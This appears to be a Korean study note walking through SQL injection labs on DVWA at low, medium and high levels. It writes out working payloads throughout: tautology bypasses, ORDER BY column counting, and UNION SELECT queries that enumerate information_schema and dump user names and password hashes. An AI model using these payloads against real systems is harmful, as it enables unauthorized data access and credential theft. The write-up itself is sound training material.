| SQL 인젝션 공격
- SQL인젝션 공격으로 인한 피해 사례는 셀 수 없을 정도로 많음
SQL 인젝션 공격 개요
- 웹 서버 영역의 데이터베이스로 전송되는 SQL 쿼리문을 사용자가 임의 조작 가능한 경우 발생
- 이 취약점으로 DB에 저장되어 있는 다른 사용자의 개인정보 등 허가되지 않은 정보 접근, 데이터 변조함
- SQL 쿼리문과 DB에 대한 지식이 있으면 이해가 쉬움
- SQL 인젝션 공격의 사례
ㄴ WHERE 구문 우회
- SELECT name, email FROM users WHERE ID='1' ㄴ 쿼리문을 보면 WHERE 조건문이 있고 사용자가 입력한 ID값 1이 조건으로 입력되고 있다. ㄴ 사용자의 이름과 이메일을 가져오는 쿼리문이다. ㄴ DB는 쿼리문을 실행해 ID가 1인 사용자 정보를 반환하고 클라이언트까지 전달한다.
SQL문의 구성(ID 파라미터의 값이 쿼리문의 일부로 사용되고 있음) $id = $_REQUEST[ 'id' ]; $query = "SELECT name, email FROM users WHERE id = '$id';";
만약 > 1' or '1'='1 < 이 위 쿼리문에 삽입된다면 아래와 같음 SELECT name, email FROM users WHERE id = '1' or '1'='1'; |
ㄴ UNION 공격
- 공격자는 or을 이용한 구문 대신 UNION 키워드를 삽입 후 SELECT구분을 삽입 SELECT name, email FROM users WHERE ID='1' UNION SELECT name, pw FROM users#' - #은 뒤에 오는 내용을 주석처리하는 특수문자 (원치 않는 명령문 실행 혹은 에러 발생을 막음)
- UNION과 SELECT구문 이용시 공격자는 DB 내의 다른 테이블 내용도 조회 가능 |
SQL 인젝션 공격 실습
- WHERE구문 조건을 우회하는 기법과 ORDER BY, UNION을 이용하여 DB정보 취득
WHERE 구문 우회 실습
- 사용자 ID 입력 폼이 표시되고, 숫자를 입력시 ID가 해당 숫자인 사용자의 정보가 출력된다.
- SQL 인젝션에 취약한지 알아보기 위해 '를 입력한다. 취약하면 아래와 같이 에러 발생
ㄴ '를 입력하면 > SELECT name, email FROM users WHERE id = '''; <로 SQL이 구성될 수 있기때문
ㄴ 위의 경우는 따옴표의 쌍이 맞지 않아 형식 에러가 발생한 것
- 1' or '1'='1 입력을 해보면 아래와 같이 뜸
ORDER BY 및 UNION 공격 실습
- UNION은 합집합이므로 원래 쿼리문이 조회하는 SELECT문의 칼럼 개수와 UNION 뒤의 SELECT문에서 요청하는 칼럼 개수가 같아야만 함
ㄴ 따라서 원래의 SQL쿼리문이 몇 개의 칼럼을 반환하는지 알아내야 함 (ORDER BY구문 사용)
ㄴ ORDER BY뒤의 숫자를 증가시켜 가다가 에러 발생시 그 전 값이 칼럼 개수
- 1. 1' ORDER BY 1#에서 값을 늘려 나가며 에러를 찾는다. (1' ORDER BY 2#가 최대)
ㄴ 3까지 입력시 오류가 발생 (1' ORDER BY 1,2,3#도 결과는 같음)
- 2. 알아낸 개수를 사용해 UNION을 사용해 쿼리문을 작성한다.
ㄴ 1' UNION SELECT 1,2# 을 입력한 결과 ↓
ㄴ 앞의 1을 빼고 'UNION SELECT 1,2# 를 입력한 결과 ↓
ㄴ 1은 First name의 위치, 2는 Surname의 위치임을 알 수 있다.(어떤 칼럼의 정보가 어느 위치인지)
- Mysql DB는 information_schema라는 DB에서 데이터베이스 이름, 테이블, 칼럽 정보등을 관리함
- information_schema의 schemata 테이블로부터 schema_name을 가져오는 쿼리문을 사용해 이름을 알아냄
ㄴ ' UNION SELECT schema_name,2 from information_schema.schemata# (테이블 이름을 알아냄)
ㄴ bWAPP, drupageddon, dvwa, mysql 의 테이블들이 있음을 알 수 있다.
- 다음으로는 테이블 목록을 알아내야 함
ㄴ ' UNION SELECT table_name,2 from information_schema.tables where table_schema='dvwa'#
ㄴ guestbook(방명록)과 users(사용자)라는 테이블이 있다.
- 다음으로는 users 테이블의 칼럼 목록을 알아내야 함
ㄴ 'UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#
- 출력된 칼럼 중 user와 password 칼럼이 눈에 띄므로 칼럼 내용을 확인함
ㄴ 'UNION SELECT user,password from users# (사용자 이름과 패스워드 해시가 출력됨)
ㄴ 위의 해시값은 https://md5.gromweb.com/ 사이트에서 전환하여 알아낼 수 있다.
+Medium Level 실습
다음은 ID를 폼에 입력하는 것이 아닌 정해진 값을 선택하는 것
- 1. 인터셉트를 켜고 submit 버튼을 누른다.
- 2. 패킷의 파라미터를 수정 후 > id=1' or '1'='1& < forward를 눌러 패킷 전송
ㄴ 그럼 아래와 같이 구문 오류 메시지가 뜸
ㄴ low 레벨과는 다르게 숫자만 입력 받도록 코드가 되어있다.
low level
medium level
- 3. ' 문자 없이 다시 입력 하여 > id=1 or 1=1 < forward를 눌러 패킷 전송
- 앞의 내용 기반으로 테이블 정보나 내용은 같아보인다.
ㄴ SQL문에서 low레벨은 '을 사용하였으나 여기서는 SQL문 앞에 '숫자 +구문' 형식이 와야 실행이 된다.
ㄴ 예시_ 1 union select user,password from users--
+High Level 실습
다음은 링크를 클릭하여 뜨는 창에 ID값을 입력해 결과를 출력시키는 것
ㄴ low 레벨과는 다르게 limit을 사용해 출력 값이 하나만 출력되도록 막고있다.
low level
high level
- 하지만 low 레벨과 방법이 비슷하다.
ㄴ 1' or '1'='1'# 으로 가능 > 1' union select user,password from users# <
ㄴ 여기서 --(한줄주석)은 자꾸 에러가 발생한다.